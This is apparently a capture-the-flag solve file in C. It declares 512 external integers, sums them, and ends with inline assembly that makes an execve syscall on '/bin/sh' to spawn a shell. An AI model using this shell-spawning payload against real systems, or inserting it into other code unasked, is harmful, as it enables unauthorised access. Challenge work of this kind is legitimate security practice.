/..

#CONTENT

#TOP

solve.c
C
   1 
 
2
 
3
 
4
 
5
 
6
 
7
 
8
 
9
 
10
 
11
 
12
 
13
 
14
 
15
 
16
 
17
 
18
 
19
 
20
 
21
 
22
 
23
 
24
 
25
 
26
 
27
 
28
 
29
 
30
 
31
 
32
 
33
 
34
 
35
 
36
 
37
 
38
 
39
 
40
 
41
 
42
 
43
 
44
 
45
 
46
 
47
 
48
 
49
 
50
 
51
 
52
 
53
 
54
 
55
 
56
 
57
 
58
 
59
 
60
 
61
 
62
 
63
 
64
 
65
 
66
 
67
 
68
 
69
 
70
 
71
 
72
 
73
 
74
 
75
 
76
 
77
 
78
 
79
 
80
 
81
 
82
 
83
 
84
 
85
 
86
 
87
 
88
 
89
 
90
 
91
 
92
 
93
 
94
 
95
 
96
 
97
 
98
 
99
 
100
 
101
 
102
 
103
 
104
 
105
 
106
 
107
 
108
 
109
 
110
 
111
 
112
 
113
 
114
 
115
 
116
 
117
 
118
 
119
 
120
 
121
 
122
 
123
 
124
 
125
 
126
 
127
 
128
 
129
 
130
 
131
 
132
 
133
 
134
 
135
 
136
 
137
 
138
 
139
 
140
 
141
 
142
 
143
 
144
 
145
 
146
 
147
 
148
 
149
 
150
 
151
 
152
 
153
 
154
 
155
 
156
 
157
 
158
 
159
 
160
 
161
 
162
 
163
 
164
 
165
 
166
 
167
 
168
 
169
 
170
 
171
 
172
 
173
 
174
 
175
 
176
 
177
 
178
 
179
 
180
 
181
 
182
 
183
 
184
 
185
 
186
 
187
 
188
 
189
 
190
 
191
 
192
 
193
 
194
 
195
 
196
 
197
 
198
 
199
 
200
 
201
 
202
 
203
 
204
 
205
 
206
 
207
 
208
 
209
 
210
 
211
 
212
 
213
 
214
 
215
 
216
 
217
 
218
 
219
 
220
 
221
 
222
 
223
 
224
 
225
 
226
 
227
 
228
 
229
 
230
 
231
 
232
 
233
 
234
 
235
 
236
 
237
 
238
 
239
 
240
 
241
 
242
 
243
 
244
 
245
 
246
 
247
 
248
 
249
 
250
 
251
 
252
 
253
 
254
 
255
 
256
 
257
 
258
 
259
 
260
 
261
 
262
 
263
 
264
 
265
 
266
 
267
 
268
 
269
 
270
 
271
 
272
 
273
 
274
 
275
 
276
 
277
 
278
 
279
 
280
 
281
 
282
 
283
 
284
 
285
 
286
 
287
 
288
 
289
 
290
 
291
 
292
 
293
 
294
 
295
 
296
 
297
 
298
 
299
 
300
 
301
 
302
 
303
 
304
 
305
 
306
 
307
 
308
 
309
 
310
 
311
 
312
 
313
 
314
 
315
 
316
 
317
 
318
 
319
 
320
 
321
 
322
 
323
 
324
 
325
 
326
 
327
 
328
 
329
 
330
 
331
 
332
 
333
 
334
 
335
 
336
 
337
 
338
 
339
 
340
 
341
 
342
 
343
 
344
 
345
 
346
 
347
 
348
 
349
 
350
 
351
 
352
 
353
 
354
 
355
 
356
 
357
 
358
 
359
 
360
 
361
 
362
 
363
 
364
 
365
 
366
 
367
 
368
 
369
 
370
 
371
 
372
 
373
 
374
 
375
 
376
 
377
 
378
 
379
 
380
 
381
 
382
 
383
 
384
 
385
 
386
 
387
 
388
 
389
 
390
 
391
 
392
 
393
 
394
 
395
 
396
 
397
 
398
 
399
 
400
 
401
 
402
 
403
 
404
 
405
 
406
 
407
 
408
 
409
 
410
 
411
 
412
 
413
 
414
 
415
 
416
 
417
 
418
 
419
 
420
 
421
 
422
 
423
 
424
 
425
 
426
 
427
 
428
 
429
 
430
 
431
 
432
 
433
 
434
 
435
 
436
 
437
 
438
 
439
 
440
 
441
 
442
 
443
 
444
 
445
 
446
 
447
 
448
 
449
 
450
 
451
 
452
 
453
 
454
 
455
 
456
 
457
 
458
 
459
 
460
 
461
 
462
 
463
 
464
 
465
 
466
 
467
 
468
 
469
 
470
 
471
 
472
 
473
 
474
 
475
 
476
 
477
 
478
 
479
 
480
 
481
 
482
 
483
 
484
 
485
 
486
 
487
 
488
 
489
 
490
 
491
 
492
 
493
 
494
 
495
 
496
 
497
 
498
 
499
 
500
 
501
 
502
 
503
 
504
 
505
 
506
 
507
 
508
 
509
 
510
 
511
 
512
 
513
 
514
 
515
 
516
 
517
 
518
 
519
 
520
 
521
 
522
 
523
 
524
 
525
 

extern int whatever0;
extern int whatever1;
extern int whatever2;
extern int whatever3;
extern int whatever4;
extern int whatever5;
extern int whatever6;
extern int whatever7;
extern int whatever8;
extern int whatever9;
extern int whatever10;
extern int whatever11;
extern int whatever12;
extern int whatever13;
extern int whatever14;
extern int whatever15;
extern int whatever16;
extern int whatever17;
extern int whatever18;
extern int whatever19;
extern int whatever20;
extern int whatever21;
extern int whatever22;
extern int whatever23;
extern int whatever24;
extern int whatever25;
extern int whatever26;
extern int whatever27;
extern int whatever28;
extern int whatever29;
extern int whatever30;
extern int whatever31;
extern int whatever32;
extern int whatever33;
extern int whatever34;
extern int whatever35;
extern int whatever36;
extern int whatever37;
extern int whatever38;
extern int whatever39;
extern int whatever40;
extern int whatever41;
extern int whatever42;
extern int whatever43;
extern int whatever44;
extern int whatever45;
extern int whatever46;
extern int whatever47;
extern int whatever48;
extern int whatever49;
extern int whatever50;
extern int whatever51;
extern int whatever52;
extern int whatever53;
extern int whatever54;
extern int whatever55;
extern int whatever56;
extern int whatever57;
extern int whatever58;
extern int whatever59;
extern int whatever60;
extern int whatever61;
extern int whatever62;
extern int whatever63;
extern int whatever64;
extern int whatever65;
extern int whatever66;
extern int whatever67;
extern int whatever68;
extern int whatever69;
extern int whatever70;
extern int whatever71;
extern int whatever72;
extern int whatever73;
extern int whatever74;
extern int whatever75;
extern int whatever76;
extern int whatever77;
extern int whatever78;
extern int whatever79;
extern int whatever80;
extern int whatever81;
extern int whatever82;
extern int whatever83;
extern int whatever84;
extern int whatever85;
extern int whatever86;
extern int whatever87;
extern int whatever88;
extern int whatever89;
extern int whatever90;
extern int whatever91;
extern int whatever92;
extern int whatever93;
extern int whatever94;
extern int whatever95;
extern int whatever96;
extern int whatever97;
extern int whatever98;
extern int whatever99;
extern int whatever100;
extern int whatever101;
extern int whatever102;
extern int whatever103;
extern int whatever104;
extern int whatever105;
extern int whatever106;
extern int whatever107;
extern int whatever108;
extern int whatever109;
extern int whatever110;
extern int whatever111;
extern int whatever112;
extern int whatever113;
extern int whatever114;
extern int whatever115;
extern int whatever116;
extern int whatever117;
extern int whatever118;
extern int whatever119;
extern int whatever120;
extern int whatever121;
extern int whatever122;
extern int whatever123;
extern int whatever124;
extern int whatever125;
extern int whatever126;
extern int whatever127;
extern int whatever128;
extern int whatever129;
extern int whatever130;
extern int whatever131;
extern int whatever132;
extern int whatever133;
extern int whatever134;
extern int whatever135;
extern int whatever136;
extern int whatever137;
extern int whatever138;
extern int whatever139;
extern int whatever140;
extern int whatever141;
extern int whatever142;
extern int whatever143;
extern int whatever144;
extern int whatever145;
extern int whatever146;
extern int whatever147;
extern int whatever148;
extern int whatever149;
extern int whatever150;
extern int whatever151;
extern int whatever152;
extern int whatever153;
extern int whatever154;
extern int whatever155;
extern int whatever156;
extern int whatever157;
extern int whatever158;
extern int whatever159;
extern int whatever160;
extern int whatever161;
extern int whatever162;
extern int whatever163;
extern int whatever164;
extern int whatever165;
extern int whatever166;
extern int whatever167;
extern int whatever168;
extern int whatever169;
extern int whatever170;
extern int whatever171;
extern int whatever172;
extern int whatever173;
extern int whatever174;
extern int whatever175;
extern int whatever176;
extern int whatever177;
extern int whatever178;
extern int whatever179;
extern int whatever180;
extern int whatever181;
extern int whatever182;
extern int whatever183;
extern int whatever184;
extern int whatever185;
extern int whatever186;
extern int whatever187;
extern int whatever188;
extern int whatever189;
extern int whatever190;
extern int whatever191;
extern int whatever192;
extern int whatever193;
extern int whatever194;
extern int whatever195;
extern int whatever196;
extern int whatever197;
extern int whatever198;
extern int whatever199;
extern int whatever200;
extern int whatever201;
extern int whatever202;
extern int whatever203;
extern int whatever204;
extern int whatever205;
extern int whatever206;
extern int whatever207;
extern int whatever208;
extern int whatever209;
extern int whatever210;
extern int whatever211;
extern int whatever212;
extern int whatever213;
extern int whatever214;
extern int whatever215;
extern int whatever216;
extern int whatever217;
extern int whatever218;
extern int whatever219;
extern int whatever220;
extern int whatever221;
extern int whatever222;
extern int whatever223;
extern int whatever224;
extern int whatever225;
extern int whatever226;
extern int whatever227;
extern int whatever228;
extern int whatever229;
extern int whatever230;
extern int whatever231;
extern int whatever232;
extern int whatever233;
extern int whatever234;
extern int whatever235;
extern int whatever236;
extern int whatever237;
extern int whatever238;
extern int whatever239;
extern int whatever240;
extern int whatever241;
extern int whatever242;
extern int whatever243;
extern int whatever244;
extern int whatever245;
extern int whatever246;
extern int whatever247;
extern int whatever248;
extern int whatever249;
extern int whatever250;
extern int whatever251;
extern int whatever252;
extern int whatever253;
extern int whatever254;
extern int whatever255;
extern int whatever256;
extern int whatever257;
extern int whatever258;
extern int whatever259;
extern int whatever260;
extern int whatever261;
extern int whatever262;
extern int whatever263;
extern int whatever264;
extern int whatever265;
extern int whatever266;
extern int whatever267;
extern int whatever268;
extern int whatever269;
extern int whatever270;
extern int whatever271;
extern int whatever272;
extern int whatever273;
extern int whatever274;
extern int whatever275;
extern int whatever276;
extern int whatever277;
extern int whatever278;
extern int whatever279;
extern int whatever280;
extern int whatever281;
extern int whatever282;
extern int whatever283;
extern int whatever284;
extern int whatever285;
extern int whatever286;
extern int whatever287;
extern int whatever288;
extern int whatever289;
extern int whatever290;
extern int whatever291;
extern int whatever292;
extern int whatever293;
extern int whatever294;
extern int whatever295;
extern int whatever296;
extern int whatever297;
extern int whatever298;
extern int whatever299;
extern int whatever300;
extern int whatever301;
extern int whatever302;
extern int whatever303;
extern int whatever304;
extern int whatever305;
extern int whatever306;
extern int whatever307;
extern int whatever308;
extern int whatever309;
extern int whatever310;
extern int whatever311;
extern int whatever312;
extern int whatever313;
extern int whatever314;
extern int whatever315;
extern int whatever316;
extern int whatever317;
extern int whatever318;
extern int whatever319;
extern int whatever320;
extern int whatever321;
extern int whatever322;
extern int whatever323;
extern int whatever324;
extern int whatever325;
extern int whatever326;
extern int whatever327;
extern int whatever328;
extern int whatever329;
extern int whatever330;
extern int whatever331;
extern int whatever332;
extern int whatever333;
extern int whatever334;
extern int whatever335;
extern int whatever336;
extern int whatever337;
extern int whatever338;
extern int whatever339;
extern int whatever340;
extern int whatever341;
extern int whatever342;
extern int whatever343;
extern int whatever344;
extern int whatever345;
extern int whatever346;
extern int whatever347;
extern int whatever348;
extern int whatever349;
extern int whatever350;
extern int whatever351;
extern int whatever352;
extern int whatever353;
extern int whatever354;
extern int whatever355;
extern int whatever356;
extern int whatever357;
extern int whatever358;
extern int whatever359;
extern int whatever360;
extern int whatever361;
extern int whatever362;
extern int whatever363;
extern int whatever364;
extern int whatever365;
extern int whatever366;
extern int whatever367;
extern int whatever368;
extern int whatever369;
extern int whatever370;
extern int whatever371;
extern int whatever372;
extern int whatever373;
extern int whatever374;
extern int whatever375;
extern int whatever376;
extern int whatever377;
extern int whatever378;
extern int whatever379;
extern int whatever380;
extern int whatever381;
extern int whatever382;
extern int whatever383;
extern int whatever384;
extern int whatever385;
extern int whatever386;
extern int whatever387;
extern int whatever388;
extern int whatever389;
extern int whatever390;
extern int whatever391;
extern int whatever392;
extern int whatever393;
extern int whatever394;
extern int whatever395;
extern int whatever396;
extern int whatever397;
extern int whatever398;
extern int whatever399;
extern int whatever400;
extern int whatever401;
extern int whatever402;
extern int whatever403;
extern int whatever404;
extern int whatever405;
extern int whatever406;
extern int whatever407;
extern int whatever408;
extern int whatever409;
extern int whatever410;
extern int whatever411;
extern int whatever412;
extern int whatever413;
extern int whatever414;
extern int whatever415;
extern int whatever416;
extern int whatever417;
extern int whatever418;
extern int whatever419;
extern int whatever420;
extern int whatever421;
extern int whatever422;
extern int whatever423;
extern int whatever424;
extern int whatever425;
extern int whatever426;
extern int whatever427;
extern int whatever428;
extern int whatever429;
extern int whatever430;
extern int whatever431;
extern int whatever432;
extern int whatever433;
extern int whatever434;
extern int whatever435;
extern int whatever436;
extern int whatever437;
extern int whatever438;
extern int whatever439;
extern int whatever440;
extern int whatever441;
extern int whatever442;
extern int whatever443;
extern int whatever444;
extern int whatever445;
extern int whatever446;
extern int whatever447;
extern int whatever448;
extern int whatever449;
extern int whatever450;
extern int whatever451;
extern int whatever452;
extern int whatever453;
extern int whatever454;
extern int whatever455;
extern int whatever456;
extern int whatever457;
extern int whatever458;
extern int whatever459;
extern int whatever460;
extern int whatever461;
extern int whatever462;
extern int whatever463;
extern int whatever464;
extern int whatever465;
extern int whatever466;
extern int whatever467;
extern int whatever468;
extern int whatever469;
extern int whatever470;
extern int whatever471;
extern int whatever472;
extern int whatever473;
extern int whatever474;
extern int whatever475;
extern int whatever476;
extern int whatever477;
extern int whatever478;
extern int whatever479;
extern int whatever480;
extern int whatever481;
extern int whatever482;
extern int whatever483;
extern int whatever484;
extern int whatever485;
extern int whatever486;
extern int whatever487;
extern int whatever488;
extern int whatever489;
extern int whatever490;
extern int whatever491;
extern int whatever492;
extern int whatever493;
extern int whatever494;
extern int whatever495;
extern int whatever496;
extern int whatever497;
extern int whatever498;
extern int whatever499;
extern int whatever500;
extern int whatever501;
extern int whatever502;
extern int whatever503;
extern int whatever504;
extern int whatever505;
extern int whatever506;
extern int whatever507;
extern int whatever508;
extern int whatever509;
extern int whatever510;
extern int whatever511;

int main() {
    int a = whatever0 + whatever1 + whatever2 + whatever3 + whatever4 + whatever5 + whatever6 + whatever7 + whatever8 + whatever9 + whatever10 + whatever11 + whatever12 + whatever13 + whatever14 + whatever15 + whatever16 + whatever17 + whatever18 + whatever19 + whatever20 + whatever21 + whatever22 + whatever23 + whatever24 + whatever25 + whatever26 + whatever27 + whatever28 + whatever29 + whatever30 + whatever31 + whatever32 + whatever33 + whatever34 + whatever35 + whatever36 + whatever37 + whatever38 + whatever39 + whatever40 + whatever41 + whatever42 + whatever43 + whatever44 + whatever45 + whatever46 + whatever47 + whatever48 + whatever49 + whatever50 + whatever51 + whatever52 + whatever53 + whatever54 + whatever55 + whatever56 + whatever57 + whatever58 + whatever59 + whatever60 + whatever61 + whatever62 + whatever63 + whatever64 + whatever65 + whatever66 + whatever67 + whatever68 + whatever69 + whatever70 + whatever71 + whatever72 + whatever73 + whatever74 + whatever75 + whatever76 + whatever77 + whatever78 + whatever79 + whatever80 + whatever81 + whatever82 + whatever83 + whatever84 + whatever85 + whatever86 + whatever87 + whatever88 + whatever89 + whatever90 + whatever91 + whatever92 + whatever93 + whatever94 + whatever95 + whatever96 + whatever97 + whatever98 + whatever99 + whatever100 + whatever101 + whatever102 + whatever103 + whatever104 + whatever105 + whatever106 + whatever107 + whatever108 + whatever109 + whatever110 + whatever111 + whatever112 + whatever113 + whatever114 + whatever115 + whatever116 + whatever117 + whatever118 + whatever119 + whatever120 + whatever121 + whatever122 + whatever123 + whatever124 + whatever125 + whatever126 + whatever127 + whatever128 + whatever129 + whatever130 + whatever131 + whatever132 + whatever133 + whatever134 + whatever135 + whatever136 + whatever137 + whatever138 + whatever139 + whatever140 + whatever141 + whatever142 + whatever143 + whatever144 + whatever145 + whatever146 + whatever147 + whatever148 + whatever149 + whatever150 + whatever151 + whatever152 + whatever153 + whatever154 + whatever155 + whatever156 + whatever157 + whatever158 + whatever159 + whatever160 + whatever161 + whatever162 + whatever163 + whatever164 + whatever165 + whatever166 + whatever167 + whatever168 + whatever169 + whatever170 + whatever171 + whatever172 + whatever173 + whatever174 + whatever175 + whatever176 + whatever177 + whatever178 + whatever179 + whatever180 + whatever181 + whatever182 + whatever183 + whatever184 + whatever185 + whatever186 + whatever187 + whatever188 + whatever189 + whatever190 + whatever191 + whatever192 + whatever193 + whatever194 + whatever195 + whatever196 + whatever197 + whatever198 + whatever199 + whatever200 + whatever201 + whatever202 + whatever203 + whatever204 + whatever205 + whatever206 + whatever207 + whatever208 + whatever209 + whatever210 + whatever211 + whatever212 + whatever213 + whatever214 + whatever215 + whatever216 + whatever217 + whatever218 + whatever219 + whatever220 + whatever221 + whatever222 + whatever223 + whatever224 + whatever225 + whatever226 + whatever227 + whatever228 + whatever229 + whatever230 + whatever231 + whatever232 + whatever233 + whatever234 + whatever235 + whatever236 + whatever237 + whatever238 + whatever239 + whatever240 + whatever241 + whatever242 + whatever243 + whatever244 + whatever245 + whatever246 + whatever247 + whatever248 + whatever249 + whatever250 + whatever251 + whatever252 + whatever253 + whatever254 + whatever255 + whatever256 + whatever257 + whatever258 + whatever259 + whatever260 + whatever261 + whatever262 + whatever263 + whatever264 + whatever265 + whatever266 + whatever267 + whatever268 + whatever269 + whatever270 + whatever271 + whatever272 + whatever273 + whatever274 + whatever275 + whatever276 + whatever277 + whatever278 + whatever279 + whatever280 + whatever281 + whatever282 + whatever283 + whatever284 + whatever285 + whatever286 + whatever287 + whatever288 + whatever289 + whatever290 + whatever291 + whatever292 + whatever293 + whatever294 + whatever295 + whatever296 + whatever297 + whatever298 + whatever299 + whatever300 + whatever301 + whatever302 + whatever303 + whatever304 + whatever305 + whatever306 + whatever307 + whatever308 + whatever309 + whatever310 + whatever311 + whatever312 + whatever313 + whatever314 + whatever315 + whatever316 + whatever317 + whatever318 + whatever319 + whatever320 + whatever321 + whatever322 + whatever323 + whatever324 + whatever325 + whatever326 + whatever327 + whatever328 + whatever329 + whatever330 + whatever331 + whatever332 + whatever333 + whatever334 + whatever335 + whatever336 + whatever337 + whatever338 + whatever339 + whatever340 + whatever341 + whatever342 + whatever343 + whatever344 + whatever345 + whatever346 + whatever347 + whatever348 + whatever349 + whatever350 + whatever351 + whatever352 + whatever353 + whatever354 + whatever355 + whatever356 + whatever357 + whatever358 + whatever359 + whatever360 + whatever361 + whatever362 + whatever363 + whatever364 + whatever365 + whatever366 + whatever367 + whatever368 + whatever369 + whatever370 + whatever371 + whatever372 + whatever373 + whatever374 + whatever375 + whatever376 + whatever377 + whatever378 + whatever379 + whatever380 + whatever381 + whatever382 + whatever383 + whatever384 + whatever385 + whatever386 + whatever387 + whatever388 + whatever389 + whatever390 + whatever391 + whatever392 + whatever393 + whatever394 + whatever395 + whatever396 + whatever397 + whatever398 + whatever399 + whatever400 + whatever401 + whatever402 + whatever403 + whatever404 + whatever405 + whatever406 + whatever407 + whatever408 + whatever409 + whatever410 + whatever411 + whatever412 + whatever413 + whatever414 + whatever415 + whatever416 + whatever417 + whatever418 + whatever419 + whatever420 + whatever421 + whatever422 + whatever423 + whatever424 + whatever425 + whatever426 + whatever427 + whatever428 + whatever429 + whatever430 + whatever431 + whatever432 + whatever433 + whatever434 + whatever435 + whatever436 + whatever437 + whatever438 + whatever439 + whatever440 + whatever441 + whatever442 + whatever443 + whatever444 + whatever445 + whatever446 + whatever447 + whatever448 + whatever449 + whatever450 + whatever451 + whatever452 + whatever453 + whatever454 + whatever455 + whatever456 + whatever457 + whatever458 + whatever459 + whatever460 + whatever461 + whatever462 + whatever463 + whatever464 + whatever465 + whatever466 + whatever467 + whatever468 + whatever469 + whatever470 + whatever471 + whatever472 + whatever473 + whatever474 + whatever475 + whatever476 + whatever477 + whatever478 + whatever479 + whatever480 + whatever481 + whatever482 + whatever483 + whatever484 + whatever485 + whatever486 + whatever487 + whatever488 + whatever489 + whatever490 + whatever491 + whatever492 + whatever493 + whatever494 + whatever495 + whatever496 + whatever497 + whatever498 + whatever499 + whatever500 + whatever501 + whatever502 + whatever503 + whatever504 + whatever505 + whatever506 + whatever507 + whatever508 + whatever509 + whatever510 + whatever511;
    asm volatile(
        "mov eax, 0x3b\n"
        "lea rdi, [rip + msg]\n"
        "xor esi, esi\n"
        "xor edx, edx\n"
        "syscall\n"
    "msg: .asciz \"/bin/sh\"\n"
    );
}